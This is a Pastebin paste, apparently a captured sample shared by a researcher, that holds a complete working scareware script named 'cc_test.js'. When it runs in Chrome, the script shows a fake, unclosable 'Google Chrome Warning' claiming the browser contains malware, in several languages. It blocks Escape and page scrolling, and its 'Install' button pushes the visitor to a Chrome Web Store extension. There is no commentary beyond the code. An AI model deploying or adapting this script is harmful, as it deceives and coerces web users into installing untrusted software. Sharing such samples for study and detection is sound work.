bartblaze

cc_test.js

Jul 22nd, 2016
195
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function getCookie(name) {
  2.   var matches = document.cookie.match(new RegExp(
  3.     "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
  4.   ));
  5.   return matches ? decodeURIComponent(matches[1]) : undefined;
  6. }
  7.  
  8. var ua = navigator.userAgent.toLowerCase();
  9. var is_chrome = ua.indexOf("chrome") > -1;
  10.  
  11. if (is_chrome && getCookie('_sb_last_visit_3') != 'yes') {
  12.     var lang = navigator.languages ? navigator.languages[0] : (navigator.language || navigator.userLanguage);
  13.     if (lang) lang = lang.substring(0, 2);
  14.     console.log('lang: ' + lang);
  15.  
  16.     var date = new Date;
  17.     date.setDate(date.getDate() + 7);
  18.  
  19.     document.cookie = "_sb_last_visit_3=yes; path=/; expires=" + date.toUTCString();
  20.  
  21.     var not_installed = document.getElementById('_chrome_extension_1') === null;
  22.  
  23. lang = 'en';
  24.  
  25.     var msg = 'Your browser contains MALWARE. You have to install Chrome Malware Removal tool.';
  26.  
  27.     if (lang == 'es') msg = "Su navegador contiene malware. Usted tiene que instalar la herramienta de eliminación de malware Chrome.";
  28.     if (lang == 'it') msg = "Il tuo browser contiene malware. È necessario installare strumento di rimozione malware Chrome.";
  29.     if (lang == 'fr') msg = "Votre navigateur contient MALWARE. Vous devez installer l'outil de suppression de logiciels malveillants Chrome.";
  30.     if (lang == 'pt') msg = "Seu navegador contém malware. Você tem que instalar o Ferramenta de remoção Chrome Malware.";
  31.     if (lang == 'de') msg = "Ihr Browser enthält MALWARE. Sie müssen Chrome Malware Removal Tool zu installieren.";
  32.     if (lang == 'ru') msg = "Ваш браузер содержит вредоносный код. Вы должны установить расширение для блокировки вредоносного кода.";
  33.     if (lang == 'gr') msg = "Το πρόγραμμα περιήγησής σας περιέχει κακόβουλο λογισμικό. Θα πρέπει να εγκαταστήσετε το Chrome Malware εργαλείο αφαίρεσης.";
  34.  
  35.     if (not_installed) {
  36.         function goFullscreen(id) {
  37.             var element = document.getElementById(id);
  38.  
  39.             if (element.webkitRequestFullScreen) {
  40.                 element.webkitRequestFullScreen();
  41.             }
  42.         }
  43.  
  44.         document.write('<link rel="stylesheet" href="//code.jquery.com/ui/1.12.0/themes/blitzer/jquery-ui.css"></link>');
  45.         document.write('<script src="//code.jquery.com/jquery-2.2.4.min.js"></script>');
  46.         document.write('<script src="//code.jquery.com/ui/1.12.0/jquery-ui.min.js"></script>');
  47.  
  48.         document.addEventListener("DOMContentLoaded", function(event) {
  49.             $('<div id="warning_dialog" title="Google Chrome Warning" style="z-index: 2147483647"><img src="//front.to/img/chrome.png" style="float: left;"/><p>' + msg + '</p></div>').dialog({
  50.                 open: function(event, ui) {
  51.                     $(".ui-dialog-titlebar-close", ui.dialog | ui).hide();
  52.                 },
  53.                 dialogClass: "no-close",
  54.                 closeOnEscape: false,
  55.                 draggable: false,
  56.                 modal: true,
  57.                 resizable: false,
  58.                 minWidth: 450,
  59.                 buttons: [
  60.                 {
  61.                   text: "Install",
  62.                   click: function() {
  63.                     goFullscreen('warning_dialog');
  64.                     window.open('https://chrome.google.com/webstore/detail/chrome-malware-removal-to/mbdoonnjlifcmakklcaembokjhjikank?utm_source=cc&utm_medium=dialog&utm_campaign=mlw');
  65.                     $(this).dialog("close");
  66.                   }
  67.                 }
  68.               ]
  69.             });
  70.             $("body").css("overflow", "hidden");
  71.         });
  72.     }    
  73. }
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×